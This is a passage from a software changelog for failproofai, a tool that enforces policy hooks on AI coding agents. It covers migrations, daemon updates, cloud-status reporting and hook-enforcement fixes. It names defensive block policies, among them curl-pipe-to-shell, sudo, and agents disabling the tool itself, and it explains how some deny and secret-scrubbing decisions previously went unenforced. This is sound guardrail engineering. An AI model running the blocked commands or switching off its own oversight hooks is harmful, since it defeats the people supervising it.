bundle vocabulary that Recommended had to route around. Four `defaultEnabled` policies — `block-self-pause`, `block-sudo`, `block-curl-pipe-sh` and `block-failproofai-commands` — are in the `Dangerous Commands` category, which no preset covers, and only `block-secrets-write` is rescued from it by the secrets preset's `extra`. So 8 of the 12 default-on policies are reachable by ticking bundles and 4 are not, and since the wizard writes with `replace: true`, a first run that picks bundles produces a machine WITHOUT the two policies that stop the agent disabling failproofai itself. `RECOMMENDED_POLICIES` names all 15 explicitly rather than composing bundles, and `defaultsMissingFromRecommended()` plus a test assert that every default-on policy stays in it — so the day a new one is added, the recommended set cannot silently fall behind the checklist. The bundles themselves still have the gap; closing it needs a fifth bundle or a decision that the self-protection policies are not optional. (#683) - -- Make `mode: "oss"` actually stop the daemon talking to the cloud. `config --disconnect` writes that flag and its own comment states the rule: "every cloud code path keys off this flag rather than off 'is a token lying around' precisely so that a disconnected machine is provably silent instead of silent-by-happenstance." That was true of the TypeScript CLI and false of the **daemon**, which is the process that holds the socket and had never read the flag — so a machine put back on OSS whose credential file outlived the decision to leave went on polling and shipping while `--status` reported it disconnected: a restored home, a copied config, a reinstall, a partial cleanup, or simply the layout-1 `cloud.json` fallback. The veto is checked inside `from_file` rather than at the call site, because that function has three exits and a veto guarding only some of them is not a veto. It reads `mode.kind` — `fp-config.ts` persists `mode: { kind }`, an object, and reading it as a string is why an earlier cut of this never fired at all; the tests missed it because their fixtures carried the same wrong assumption as the code, which is worse than no test since they also reported the case as covered. ONLY an explicit `"oss"` vetoes: `mode` postdates the enrolments already in the field, so reading absent or malformed as "oss" would silently disconnect every machine enrolled by an older CLI. `FAILPROOFAI_CLOUD_URL` still wins, since the env path exists so CI and containers work with no files at all. (#683) - -- Stop reporting a connection the machine no longer has. Everything `config --status` printed about the cloud connection was read from the credential file, which records what was true at `--connect` time and is never revisited — so a key that was later revoked, expired (`api_key_expiry` exists server-side now), or whose org was disabled left that file byte-for-byte correct while nothing arrived. That is the failure recorded in `crates/failproofaid/src/main.rs`: "a key revoked at 13:05:37 and replaced 37 seconds later was still producing 401s twenty minutes on, with 26 parked batches and a CLI saying `connected`. The only symptom was data that never arrived." The detection was never missing — the uploader writes its verdict into the parked batch's **filename** (`.a.c.jsonl`, a rename rather than a sidecar so the record cannot desynchronise from the batch it describes), and `is_auto_retryable()` already excludes a definitively-refused batch from the retry pass because it "will fail identically until the cause is fixed". Nothing had ever read that directory. `--status` now reports from it, and the line replaces the cheerful one rather than being appended after it, because the collector's record of what the server actually said is the only thing on that screen describing **now**. Deliberately silent on batches parked without a client status: those exhausted server-error retries, the retry pass picks them up again, and reporting them would cry wolf over a blip the daemon is already handling. (#683) - -- Say it once a session, without anyone having to ask. `--status` only speaks when someone runs it, and the whole failure mode is that nobody knows there is anything to ask about — so the same verdict is now emitted at `SessionStart`, the one point failproofai is already invoked on every CLI, exactly once per session, with a person watching. Costs one directory read per session; needs no flag, no new daemon channel and no user action. It cannot affect the outcome of the hook: the read swallows its own errors, the verdict goes to stderr (`SessionStart` is `observe` on every integration, so a stderr write there cannot block a session), and the exit code is untouched. 401 and 403 are grouped as "credential" — a rejected key and a key without `events:add` have different causes, the same user-visible outcome, and the same fix — and only that group is told to re-run `--connect`. (#683) - -- Make a `PostToolUse` deny actually enforce on codex and copilot. Both read a **top-level** `{decision:"block", reason}` at that event and neither reads the `hookSpecificOutput.additionalContext` shape we emitted, so every PostToolUse deny on those two CLIs was evaluated, logged, counted as enforcement in the dashboard — and dropped on the floor. That is the whole `sanitize-*` family plus any custom policy matching `PostToolUse`. Verified rather than inferred, because the rows asserting it were stale in both directions: on codex an A/B live probe at **0.147.0** (identical prompt and hook, only the response shape differing) shows `{decision:"block"}` printing `hook: PostToolUse Blocked` and routing the reason through `codex_core::tools::router` so that it **replaces the tool result the model reads** — the probe's real stdout never reached the model — while the shape we shipped printed `hook: PostToolUse Completed` and the model read that stdout verbatim; on copilot both `postToolUse` call sites in the shipped **1.0.78** bundle gate on `vK = t => t?.decision === "block" && typeof t.reason === "string"`, which fails closed on a missing or non-string reason, so the reason is always sent as a string. This is result-replacement, not prevention — the tool has already run at PostToolUse and its side effect stands — which is exactly the semantic an output-scrubbing policy needs to keep a secret out of the model's context, and is why copilot's "Can block? No" in vendor docs is true of the side effect but not of the result the model reads. Other CLIs are untouched and keep `additionalContext`; a test pins that boundary, since widening the new shape to claude would silently break the one consumer that does read the nested form. (#683) - -### Docs - -- Record that several `codex` rows in `enforcement-capability.ts` are no longer backed by anything. Re-probing codex for the row above surfaced that its hook sources were restructured after `fe01054a`: `output_parser.rs`, `hook_runtime.rs` and `tools/registry.rs` — cited by name and line number in the `PreToolUse`, `Stop`, `SubagentStop` and `SessionStart` rows — do not exist at those paths in 0.147.0, whose hooks live under `hooks/src/{engine,events}/`. The rows are not known-wrong; they are unverified against any shipping codex, which under this file's own "ABSENT MEANS UNKNOWN" rule is a materially different claim. Marked as due for a re-probe, and the probed-version line now states that a version is part of the claim rather than a footnote. (#683) - -## 1.0.0-beta.21 — 2026-08-10 - -### Fixes - -- Version bump only, so the merge from `main` this PR needs has a version left to publish. beta.20 is on the registry and `publish.yml`'s preflight refuses to start when the publish version already exists — deliberately, because the root package publishes LAST, so a burned version would run the whole cross-compile, attach the release assets and publish the four platform packages before taking `E403` on the root, stranding four orphan versions nothing pins. Everything shipped in beta.20 stays described under its own heading below. (#663) - -## 1.0.0-beta.20 — 2026-08-10 - -### Fixes - -- Reuse the machine id the collector already wrote instead of minting a second one. `resolveMachineId` looked for an existing id in the cloud credential only, but `connectToCloud` writes it to **two** files under two independent conditions — `credentials.json`'s cloud table when `policies:pull` verifies, and `config.json`'s collector block when `events:add` does — and a key carrying one grant and not the other is a first-class state, since the dashboard offers `policies` and `collector` as separate key presets. So a telemetry-only first connect stamped `collector.machine_id = A` on every event and wrote no cloud credential; a later policies-capable connect found no cloud credential, minted B, and overwrote the collector block with it. The fleet list is a union of enrolment rows and event-derived ids, so one host showed as **two machines**: A reporting with no label and nothing deployed, B enrolled and empty — with A's history stranded and A counting toward `unguarded` on the policy page, the exact false reading that page exists to surface. The value is returned verbatim rather than trimmed, because the daemon stamps it on events verbatim too, and normalising here would hand the cloud a different id than the events carry — reintroducing the split from the other side. (#663) - -- Stop two test suites writing into the real `~/.failproofai`. `worker-server.test.ts` and `fail-closed-force-decision.test.ts` drive the real hook path, which calls `persistHookActivity()`, and neither set `FAILPROOFAI_HOME` — so every run appended test decisions to the **developer's own** decision log and re-counted their `stats.json`. Found because a user asked why their hook activity had grown after an upgrade when they had triggered no hooks: the records were visible in their log with `cwd` values like `/tmp/fpai-worker-server-test-…`, and 43 of the 48 records in it were test artefacts rather than their own activity. Both suites now mkdtemp a home and clear it afterwards, and running them leaves the real log byte-for-byte unchanged. No product code was involved — `persistHookActivity` has exactly one caller and it is the genuine hook path — so this was never something a user's own machine did to itself. (#663) - -- Name the policy bundles in the setup summary instead of counting the policies inside them. The completion line read `Setup complete — 9 policies · 12 harnesses`, and "9 policies" is a number the user cannot check and did not choose — they ticked two **named** bundles two screens earlier, so the line that confirms their setup now says which: `Setup complete — Secrets & data, Git safety · 12 harnesses · custom, daemon`. Bounded against the same 80-column budget the existing summary tests already assert (80 minus a 3-column gutter), because `writeLines` truncates with a hard cut and no ellipsis — an over-long line does not lose its tail, it reads as broken output. All four labels joined is 57 characters and runs the line past 80 with the harness and extras clauses, so naming degrades to the count when it will not fit, rather than being cut. Two names is also the common case, so most runs see every name. `Everything` carries its size (`Everything (47 policies)`), since the word alone does not say how much that is; a machine whose policies were all enabled one at a time with `policies add` has no bundle to name and keeps the count. (#663) - -## 1.0.0-beta.19 — 2026-08-10 - -### Fixes - -- Ask before removing the daemon service on a plain `failproofai uninstall`, and prompt for the password instead of printing commands. Uninstall always tore the service down, and it did so through `uninstallDaemonService()`, which uses `sudo -n` and never prompts — so without a cached sudo credential the removal failed and the command printed a unit file to delete by hand. That is the same defect `failproofai update` had: a non-interactive elevation rule that exists for the **wizard**, whose reason is that a password prompt fired from under a full-screen TUI is unreadable. Uninstall is plain line output with a person in front of it and does not inherit that constraint. It now calls `primeElevation()` **before** attempting the removal, so the three privileged operations — install, refresh, remove — all ask. Separately, a plain uninstall now **asks** whether the service should go at all: the hooks are gone either way so nothing is being enforced, and someone clearing hooks before a reinstall has no reason to tear down a system service and re-type their password. A missing answer keeps it — declining to remove a service is recoverable, removing one nobody asked about is not. `--purge` does **not** ask and removes it unconditionally, because purge deletes `~/.failproofai`, which is where the daemon binary lives: leaving an enabled unit whose `ExecStart` has just been deleted crash-loops the service at every boot, so "keep the daemon" is not an option purge can offer. `--yes` also still removes it, because the flag means yes to the plan and scripted uninstalls rely on it — making it keep the daemon would silently start leaving a service behind on every automated run. (#663) - -- Rebuild the decision log's totals after carrying it across a layout upgrade. `hook-activity/stats.json` is **incremental** — one entry folded in per append, never rescanned — so it is the only part of the log that cannot survive being lost. The migration dropped it and `current.count` as derived state on the stated grounds that "the store rebuilds them", and nothing did: there was no rebuild anywhere in the store, so `readStoredStats()` fell through its catch to zeroes and began accumulating again from the next event. A user upgrading from a pre-daemon home therefore kept **every record and lost every total** — the dashboard listed their whole history while reporting 0 events, 0 denies and no top policy. Reported from live testing and reproduced on a seeded home. Dropping the file is still right (two incremental counters cannot be merged without inventing a number) but only if something recomputes it, so `rebuildHookActivityStats()` now scans every page after the carry. Exact rather than approximate, because pages are never pruned — there is no retention anywhere in the store — so the files on disk are the whole history. The fold is shared with the append path so a rebuild and an append cannot count differently and drift apart unnoticed. (#663) - -- Carry a legacy root `spool/` and `failed/` instead of deleting them. Both were on the retired list with **no carry and no backup**, while `HOME_CLASSES` classes the layout-3 equivalents `undelivered` with the note "never deleted" — so the two halves of the same module contradicted each other and the delete won. Worth being precise: no published version writes a root spool (`fpai-collect` used `home.join("spool")` only on the unmerged daemon branch; the commit that reached `main` already wrote `state/spool`, and the 0.0.x line has no spool at all — checked against the published 0.0.10, 0.0.14, 0.0.15 and 1.0.0-beta.0 tarballs), so on every real machine this finds nothing and costs one `existsSync`. It is closed anyway because "listed for deletion, with no carry and no backup" is a trap whether or not anything falls into it today, and an undelivered event is not regenerable. Carried into the live spool so the events actually ship on the flush that follows, which is safe for an unknown format because the uploader quarantines a batch it cannot send into `failed/` rather than failing on it. (#663) - -- Stop `failproofai config` discarding the policy selection it never showed you. `buildPresetChoices` set `checked` on exactly one row — the Custom checkbox — so all eight bundle boxes rendered unticked on every run, while the wizard calls `installHooks` with `replace: true`, which makes the ticked set the WHOLE enabled set at that scope. `replace` is the right rule (unticking a policy has to remove it) and it was paired with checkboxes that did not reflect current state, which turns a correct rule into a destructive one: re-running setup showed a blank slate and then made that blank slate authoritative, so a client's enabled policies were gone with nothing on screen to say it had happened. The comment on the Custom row has always described the intended behaviour — "shows the current state rather than resetting it every run" — and it was implemented for that one row. Bundles are now ticked when everything they turn on is already on (all, not any — "any" would tick every bundle sharing one policy and confirming would enable all of them), and anything enabled that no ticked bundle accounts for gets a locked "N enabled individually" row and is unioned back into the write, so `replace` cannot drop a policy added with `policies add`. Seeded from the scope the run will WRITE to, not the merged view, or a bundle enabled at project scope would be copied into user scope as a side effect of opening the wizard. One pure `splitEnabled()` defines the split, so the row the user sees and the set that gets written cannot disagree. (#663) - -- Repoint registered custom-policy paths at where the migration put the files. `migrateConventionPolicies()` moves layout 2's `policies/custom-policies/*` up into `policies/`, and nothing rewrote the paths the user had REGISTERED — so every explicit `customPoliciesPaths` entry still named the directory the migration had just deleted. Reproduced on a seeded layout-2 home: the file was correctly at `policies/acme.mjs` while the config still said `policies/custom-policies/acme.mjs`, which resolved to nothing. Quiet because layout 3 collapses `customPoliciesDir()` onto `policiesDir()`, so the file is still discovered BY CONVENTION and usually keeps firing — not harmless, though: a convention-loaded policy gets a different id from an explicitly-pathed one, and `disabledCustomPolicies` records a disable against that id, so a policy the user had switched off can come back. Matched with `relative()` rather than a string prefix, or a sibling `custom-policies-old/` the migration never touched would be rewritten too. (#663) - -- Stop telling macOS users to install a service they already have. A LaunchDaemon lives in launchd's system domain, so `daemonServiceStatus()` needs elevation to read it and returns `"unknown"` whenever `sudo -n` finds no cached credential — the normal case for a read-only status command. `daemonWarning()` had no branch for it, so it fell through to the socket check and announced that "a daemon is running outside the service manager", which is flatly false for a correctly installed service, and pointed at `failproofai config` to fix it. Linux never showed it because `systemctl is-active` needs no privileges, and that asymmetry was the whole of the bug. `"unknown"` now has its own branch, ahead of the socket check, saying what is actually true — whether a daemon is answering, and that its service state needs elevation to read — with the command to check by hand. (#663) - -- Make a machine's name readable, and renameable without re-enrolling. Every status line printed the full machine id (`Mac.localdomain (dde01f39-afba-40eb-bf1a-815d9f17ac2d)`), which is 36 characters of noise for the one reader who cannot use them and made the id look like the machine's name. The id still has to appear — labels default to the hostname and are free to collide, so the label alone cannot identify a machine — so it is now an eight-character prefix, with `--verbose` for the full value. Separately, `--machine-label` was accepted only alongside `--connect`, so changing a display name meant re-running enrolment with the url and token again; used alone it is now a rename. The label is stored BEFORE it is pushed and the command still exits 0 when the server is unreachable — the rename did happen locally and the daemon sends it on its next poll, so refusing would fail exactly when someone is labelling a machine they are debugging. (#663) - -- Carry a decision-log page by copy when the rename cannot work, instead of only on `EXDEV`. The fallback handled exactly one error code, on the reasoning that a cross-filesystem rename is the only failure a copy can rescue — and that is wrong: a rename needs write permission on the **source directory**, while a copy needs only read on the file and write on the destination, so `EACCES`, `EPERM` and `EROFS` on `cache/` all fail the rename and all succeed as a copy. Those pages were dropped from the carry with no attempt made. The comment excused it as leaving the page "still there", which is true of the file and false of its fate: `resetHome` stamps `VERSION` at the end regardless, `detectLayout()` then reports `current`, and the carry never runs again — so the page is not left for a retry, it is abandoned in the old layout where nothing reads it. The copy leaves the original behind, which is the right trade in the only direction that matters: the store reads pages under the current layout, so a duplicate there would double-count while one left behind is inert. (#663) - -- Back up layout 2's policy selection from the nested path it actually lives at. The backup's claim to protect a policy selection rested on `legacy.policyConfig()` — the layout-1 **root** path, which layout 3 reuses and the migration therefore leaves alone, so on a layout-2 home it is usually absent. Layout 2 keeps the selection two levels down under `legacy.localPoliciesDir()`, and that directory **is** deleted; `readCarriedPolicyConfig()` was even narrowed to it for exactly that reason. So the one leg where the selection is destroyed was the one leg with no copy of it, while `migrate --dry-run` reported a backup either way — the same shape as the `cloud.json` gap above, found the same way. The nested path is saved under an explicit distinct name rather than its basename, which collides with the root copy's: flat, the two would overwrite each other on backup, and on restore the single survivor would be written back to **both** paths, putting layout 2's nested selection over layout 3's live config. Mirrored subdirectories would have been the tidier scheme and would have renamed data an older build already wrote — `backup-layout/` directories from beta.17 and beta.18 are already on real machines — which is the mistake four other fixes in this release exist to correct. (#663) - -- Reserve the label a Hermes default task actually owns. beta.18's new guard seeded its reserved set with `sanitize_label(profile_dir_name(db))` — normalising a name that had already been normalised by a **different** function. The two disagree: `profile_dir_name()` maps each non-alphanumeric one-for-one and neither lowercases, collapses runs, nor trims, while `sanitize_label()` does all three. So the guard reserved a string no task owns. The root Hermes database lives in `~/.hermes`, so its task's cursor directory is `cursors/hermes/-hermes` and its health key `hermes:-hermes`; sanitising gave `hermes`. Because the root database is always index 0 this was wrong on **every** machine: `harness add-path hermes hermes=` was refused for colliding with nothing, while the name actually held stayed unguarded. An over-refusal rather than a hole — an extra's label cannot produce a leading dash, so nothing colliding got through — but it guarded the wrong name. Reserved names now go in **verbatim**, which is the correct pair to compare and is self-correcting for names an extra can never produce. Two things found alongside it: a reserved collision reused the duplicate-extras message and blamed "another extra path" that does not exist, and the docstring justified the separate entry point with "twelve call sites" when `resolve()` has **zero** production callers. (#663) - -## 1.0.0-beta.18 — 2026-08-10 - -### Fixes - -- Back up layout 1's `cloud.json` and `ingest.json` before migrating them. Both are on the retired list, so the migration deletes them, and nothing regenerates a cloud token — they are the definition of what `migrations/backup-layout/` is for. They were absent from that list while the carry that reads them was added, so on the layout-1 leg (the upgrade from the published `latest`) the token was removed with no copy kept: the backup was most incomplete exactly where it mattered most. Found by a functional matrix run over both legs, not by review. (#663) - -- Refuse a Hermes extra path whose label collides with one of Hermes's own default profiles. Extra paths were validated against the default **paths** a source already watches, which cannot catch an entry whose **label** collides with one a default task derived — and Hermes is the only source whose default labels are derived, one per profile database. So `failproofai harness add-path hermes prod=/mnt/other/state.db` on a machine with a `prod` profile was accepted, and the two SQLite pollers then shared the cursor directory `cursors/hermes/prod` and the health key `hermes:prod`: the cursor store rewrites its map atomically, so each clobbered the other's watermark and both re-read from zero after every restart, while one health record overwrote the other so `root_present` alternated — destroying the "absent root versus merely idle" distinction that record exists to draw. That is the exact failure the per-profile directories were introduced to prevent, reached through a collision nothing checked. A new `resolve_reserving()` seeds the seen-label set with the labels the default tasks claimed, so a collision is caught by the same rule as a collision between two extras; `resolve()` keeps its behaviour and forwards. (#663) - -- Make `failproofai harness add-path`'s duplicate checks agree with the rule they exist to pre-empt, and stop it claiming capture it cannot verify. Those checks exist because the daemon resolves entries at startup and silently **drops** a colliding one, logging only server-side — so the CLI would print success for a path that is never captured. They compared raw strings while the daemon normalises, so three shapes slipped through: a label differing only in case or punctuation (`"Team Share"` vs `team-share`, since the daemon lowercases and collapses non-alphanumerics), the same path with a trailing slash, and two **unlabelled** paths whose folder name derives one label — for which the label check did not run at all. In every case both entries were written, `harness list` showed both, and only one was captured. The comparisons now mirror `sanitize_label()`, `clean()` and `derive_label()`; the stored string stays exactly what the user typed, so this is a normalised **check** and not the second parser the module deliberately avoids. Separately, an entry overlapping the harness's own default capture root is rejected by the daemon and this side does not know those roots — teaching it all thirteen would be that second parser — so the success message now says what was written and where the real answer is (`harness list`) rather than promising capture. (#663) - -- Stop `failproofai config` silently re-enabling a CLI you deselected. The harness step's "restore the prior selection after ←" logic was unreachable: `priorClis` read `clisSel`, which is the loop's own condition (`while (clisSel === null)`), so it is null on every entry into the body by definition and is assigned only on the line that ends the loop. So deselecting a CLI, pressing ← to change an earlier answer, and coming back redrew the **detected defaults** — and confirming then installed hooks into the CLI the user had explicitly turned off, with the code's own comment stating the opposite intent. The prior selection is now carried on state that survives the loop, filled from a new optional `onBack` callback on `multiSelect`: `BACK` is a symbol and cannot carry a value, and the selection lives in a local array rather than on the caller's choice objects, so a caller previously had no way to learn what had been ticked. The callback is additive and optional, so no other prompt's contract changes. Worth noting the original defeated the compiler's correct objection with a cast (`clisSel as string[] | null`) — which is why the dead code type-checked; the replacement reads a property and needs no suppression. (#663) - -- Keep the cloud attribution on hook-activity rows written before the rename. `HookRow`'s `cloudRevision`→`cloudVersion` and `cloudGeneration`→`cloudDeployment` moves used serde `rename` with no `alias`, and these pages are written by the **daemon** — so a machine that was cloud-connected before the rename has real rows on disk naming the old keys. Nothing validates the shape (no `deny_unknown_fields` in Rust, and the TypeScript reader `JSON.parse`s a line and casts it), so those rows did not error: they carried keys nothing read, and every pre-upgrade cloud-decided decision rendered as unattributed — which is the one question these fields were added to answer. Aliases added on the Rust side, and the TS reader now maps the old keys on read, one-directionally and without deleting them. Same lesson as the two fixes above: renaming a symbol is safe, renaming the name of data an older build already wrote is not. (#663) - -- Actually remove layout 2's per-deployment artifact tree, under the name layout 2 wrote. The cleanup checked for a directory called `deployments`, but every pre-rename daemon wrote `cloud-policies/generations//` — the generation→deployment sweep renamed a string literal that names an **on-disk artifact written by an older build**, which is data rather than a symbol, exactly like the `generation`/`revision` field names that needed aliases. So `exists()` was false on every real machine, the cleanup never ran, and the full copy of every policy set the machine had ever held was kept forever — the precise outcome the adjacent comment says it exists to prevent, and the comment itself repeated the mistake in prose. Both names are now checked, so a daemon built between the rename and the flattening is covered too. (#663) - -- Ask for the sudo password in `failproofai update` when there is a terminal to ask in. Writing the service unit needs root and the privileged helper uses `sudo -n`, which never prompts — a rule that exists for the **wizard**, whose reason is that a password prompt fired from underneath a full-screen TUI is unreadable. `update` is plain line output and does not inherit that constraint, but it never called `primeElevation()`, the helper the wizard already uses for exactly this at exactly this point. So the command that exists for upgrading a daemon machine failed on one with `sudo credentials were not available` and a thirty-line unit file to paste by hand, leaving `sudo -v` first (undocumented) or `failproofai config` (an interactive wizard) as the only working routes — which is not an upgrade path. Gated on a TTY rather than attempted blindly: on a CI runner or a fleet box there is nobody to type a password and `sudo -v` would block on a prompt nothing answers, so those runs still fall through to `sudo -n` and get the exact commands, which is the right outcome for an unattended machine. (#663) - -- Remove `policies/custom-policies/` when a subdirectory had to MERGE rather than move whole. `migrateConventionPolicies()`'s recursive `mergeInto()` drains a colliding child directory but never removed the emptied husk, so the final `rmdirSync` threw `ENOTEMPTY` into a swallowing `catch` and `custom-policies/` survived the migration that had just completed — permanently, since the next run recurses into the same empty child and fails identically. Only reachable when the destination already has a directory of the same name, which is why every existing test missed it: they all moved `lib/` wholesale through a single rename. The husk is still kept when a genuine leaf collision left a file behind, because that remainder is the user's own hand-written source and is the one thing this function must never delete. (#663) - -- Read a `desired-state.json` written before the deployment/version rename, and pin the WIRE to the current schema version. The rename removed the `generation`/`revision` aliases from `DesiredState`/`DesiredPolicy` on the grounds that those types decode a remote payload from a server we version in lockstep — right about the wire, and incomplete about the FILE: `read_desired()` deserializes `desired-state.json` off disk into the same types, and that file is written by a daemon which may be older than the one now reading it, exactly like `active.json`, which is why *that* struct kept its aliases. `SUPPORTED_SCHEMA_VERSIONS` even names `desired-state.json` as a version-1 file on disk in its own comment. So one type was decoding bytes from two different writers, and the strictness the wire needs made the disk read fail — not on the unknown `generation` key, which is ignored, but on `deployment` being missing. `repair_active_from_cache()` swallows that, so with `active.json` also gone or corrupt **while offline** it returned without rebuilding and cloud policy stopped being enforced until a poll succeeded, on a machine with no way to poll. Fixed with a type per writer rather than one lenient type: the wire keeps its hard edge, and a disk-only legacy representation converts the old spelling on read. The wire end is now pinned to the current schema version explicitly, checked BEFORE the fields are decoded — decoding first also rejects a v1 payload, but on the wrong grounds ("missing field `deployment`" sends an operator hunting a malformed payload instead of a stale server), so the error now names both versions and says which half to upgrade. The HTTP fixture in the existing test declared `schemaVersion: 1` while using the v2 field names — a payload no server produces — and nothing noticed, which is itself the evidence this end was unchecked. (#663) - -## 1.0.0-beta.17 — 2026-08-10 - -### Fixes - -- Record the daemon version after `failproofai update`, so the skew clears. `installDaemonService()` deliberately does not write `VERSION.daemon` — only the wizard did, because that is where "this machine is configured, at this version" is decided — so a successful refresh left the new binary running while the file still named the old one. `daemonVersionSkew()` reads that file, so every later CLI command kept nudging about a stale daemon that had just been replaced, and the wizard's own skew check would have torn down and rebuilt a perfectly current service. Written with `writeVersionFile` rather than `setDaemonConfigured(true, …)`, which would also flip `daemon.configured`: an update refreshes what is installed and must not decide whether the machine requires it. (#663) - -- Make `failproofai update` actually update the daemon. It fetched the matching binary and then rewrote the unit through `upgradedServiceDefinition`, which **preserves the existing `ExecStart`** by design — its job is the unit's shape, not which binary runs — so the new binary landed, the service restarted, and the OLD binary came back up, under a message saying the daemon had been refreshed. Worse than not having the command, because it reported success. It delegates to `installDaemonService()` now: the path that resolves this version's binary, writes the unit around that path, and uses `restart` rather than `enable --now` precisely so a live daemon is replaced instead of left running. A failure surfaces as one rather than being reported as a refresh, since on a machine configured to require the daemon the difference is a known-stale collector versus a silent one. Found while working out what to tell customers to run on upgrade — a beta.12 machine would have kept a beta.12 daemon reading a layout-3 home, which stops collection and cloud-policy reconciliation without saying so. (#663) - -- Stop `failproofai migrate --dry-run` listing a file twice. `legacy.policyConfig()` and `globalPolicyConfigFile()` are the SAME path — layout 3 put the policy config back exactly where layout 1 kept it — so any caller walking both lists sees it once per list. `backupBeforeMigrating` deduped; `describePlan` built the same list again and did not, so the dry run printed `policies-config.json` twice while the backup correctly wrote it once. Seen on a real layout-1 machine, in the one command whose entire job is to state accurately what is about to happen. Both call sites now share a single walk rather than the second copy being patched, which is the same "state it once, derive the rest" move `resettablePaths()` makes over `HOME_CLASSES`; a test pins the dry run's list against what the backup actually writes, so the two cannot disagree again. (#663) - -## 1.0.0-beta.16 — 2026-08-10 - -### Features - -- Add `failproofai update` and `failproofai migrate`, and put the layout migration behind an ordered registry. npm cannot update an installed package on its own, so a machine can sit on one version for months and then jump several layouts at once — the case this exists for. `failproofai update` is the second half of an upgrade npm does not do: `npm install -g failproofai@latest && failproofai update` runs any pending layout migrations, puts the matching daemon binary in place and restarts the service (`--no-daemon` skips that half, but skipping it leaves a version-skewed daemon, which now refuses to start). `failproofai migrate` runs the migration alone, and `--dry-run` prints the exact steps and the files that would be saved while changing nothing. The steps are keyed on the **layout** recorded in `VERSION`, never on the npm version: versions change on every release, dozens between two layouts, so a customer who skips thirty releases with no layout change runs zero migrations rather than thirty no-ops. `planMigration()` composes a chain and each step knows only its own two ends, so the next layout is additive — only the new step gets written and every older home reaches it by composition. A step that has no path forward **throws** rather than returning a short chain, because a partial plan leaves a home half-migrated, and `migrationCoverageGap()` runs that check over every layout at once so CI catches a `LAYOUT_VERSION` bump with no step before a user does. Every step is recorded in `~/.failproofai/migrations/applied.json` — which layout, which CLI, when, how long, and whether it worked — so "what has this machine actually been through" is answerable from one file instead of by guessing. The migration *code* ships in the npm package and only the *state* lives in the home, because a home written by 1.0.0 contains only 1.0.0's migrations and the steps that get that machine forward are precisely the ones its old install never had; the installed CLI is always the newest thing present. The irreplaceable files — `config.json`, `credentials.json`, `policies-config.json`, the marker and the retired layout's own config — are copied to `migrations/backup-layout/` before the first step, and `restoreBackup()` puts them back. Deliberately not a copy of the whole home: `HOME_CLASSES` already stopped the migration deleting anything irreplaceable by design, so a full copy would insure against a threat that no longer exists while duplicating `bin/` and `hook-activity/` and needing a rename window that has to dodge a live daemon holding `run/`. What remains worth insuring against is a bug in a step, and those files are where such a bug would hurt. A failing step stops the chain and is recorded as failed; `VERSION` is stamped only by a step that completed, so the home stays marked with the old layout and the next command retries it — no home is ever marked current on the strength of a partial migration. (#663) - -### Fixes - -- Carry every key of a layout-2 policy config, not the eight the old allowlist knew. `readCarriedPolicyConfig` filtered the nested `policies/local-policies/policies-config.json` down to a named list, so anything outside it was dropped — including a key a newer build had written into a layout-2 file. That is the same loss the `config.json` round-trip fix addresses, arriving by a third door, and it was caught by a smoke test on a seeded home: a `futureKey` was simply gone after the migration, silently. The carry now preserves every key and deletes only the retired ones, which is the rule the rest of this work follows — unowned keys survive, dead ones go. `collector` is still removed, because it is camelCase and layout 2 moved those settings to `config.json` in snake_case, so leaving it reads as a preserved setting and behaves like an absent one. (#663) - -- Stop `failproofai migrate --dry-run` reporting "nothing to migrate" on every stale machine. The automatic layout check at the CLI entry point runs ahead of every command that is not `--help` or `--version`, so by the time the subcommand looked, the home had already been migrated — which is the one answer a dry run must never give wrongly. `migrate` and `update` are exempt from that check and run the migration themselves. Only a smoke test on a seeded layout-2 home could catch this; nothing below the CLI entry point can see the ordering. (#663) - -- Make `failproofaid` refuse to start against a home written by a layout it does not speak. Every path in `paths.rs` is correct for exactly one layout, and the daemon never read the marker saying which one is on disk — so a daemon whose version had drifted from the CLI's happily read and wrote layout-3 paths in a layout-4 home. That is the failure `fp-home.ts` exists to prevent: the daemon writes where nothing reads, silently, because an absent directory is indistinguishable from an idle one. The skew is routine rather than exotic — `npm i -g` replaces the CLI while the binary under `~/.failproofai/bin/failproofaid-` stays exactly where it was, which is the whole reason `daemonVersionSkew()` exists on the CLI side. The daemon now reads `VERSION` before it takes the singleton lock or binds its socket, and exits non-zero naming the layout it found and the remedy — which differs by direction, since an older home is one the CLI is about to migrate while a newer one means the daemon is the stale half. Both `VERSION` formats parse (layout 2 wrote TOML, layout 3 writes JSON), because refusing to start on a home that is merely *old* is exactly the case the CLI is about to fix and reporting the wrong remedy for the commonest upgrade there is would be worse than not checking. A home with **no** marker starts normally: a fresh one has none until the first CLI command stamps it, and refusing there would break the install itself. Only the layout number is compared — a CLI newer than its daemon is an ordinary state between an `npm i -g` and the next update, and taking a working machine down over a condition that resolves itself is not an improvement. The existing cross-language parity test now also asserts the Rust and TypeScript `LAYOUT_VERSION` constants agree, since the two disagreeing would make the daemon refuse a home the CLI considers current. (#663) - -- Carry the layout-1 `cloud.json` and `ingest.json` credentials too, which is the upgrade real users will actually run. The published `latest` npm tag is still a pre-daemon 0.0.x release, so "install the current stable, then upgrade" is a **layout-1** → 3 migration — and layout 1 kept its credentials in two JSON files with a camelCase `machineId`, both on the retired list with nothing carrying them. So the same "machine silently off the fleet" failure fixed for layout 2 was still live on the more common path: the cloud token and the ingest key were both deleted, and the machine kept enforcing whatever it last had while reporting healthy. Verified against the real thing rather than a fixture: a container installs the published `failproofai@latest` (0.0.15), lets it write a genuine layout-1 home, upgrades to this build, and the token, ingest key, machine id, policy selection, hand-written policy file and decision log all survive — with the layout stamped 3, the step recorded in the ledger, and a backup taken. The layout-2 TOML still wins when a home somehow holds both, since it is the newer answer; an unreadable TOML falls through to layout 1 rather than returning early, because a corrupt newer file is not evidence that an older one is absent. (#663) - -- Carry the layout-2 `config.toml` and `credentials.toml` across the upgrade to layout 3. Both files are on the retired list and **nothing carried them**, so a 2 → 3 upgrade deleted the cloud token and the ingest key outright, along with `daemon.configured` and `mode`. That is a machine silently off the fleet: it keeps enforcing whatever it last had, keeps reporting healthy, never reconciles cloud-managed policy again, and delivers nothing it spools — with no operator action that caused it and no message that said so. `HOME_CLASSES` stops this happening from layout 3 onward, but 2 → 3 is the upgrade that actually exists to be run. Only the telemetry opt-out was rescued before, on the grounds that the rest is "re-derived by setup or a thing the wizard re-asks" — true of a machine whose owner is about to re-run setup, and false of every other one: losing `daemon.configured` silently downgrades a machine from fail-closed enforcement to the in-process path, and losing `mode` disconnects it. The carry parses the TOML subset layout 2's own two writers emitted (`[table]` / `[dotted.table]` headers and `key = ` lines where every value went through `JSON.stringify`, so `JSON.parse` on the 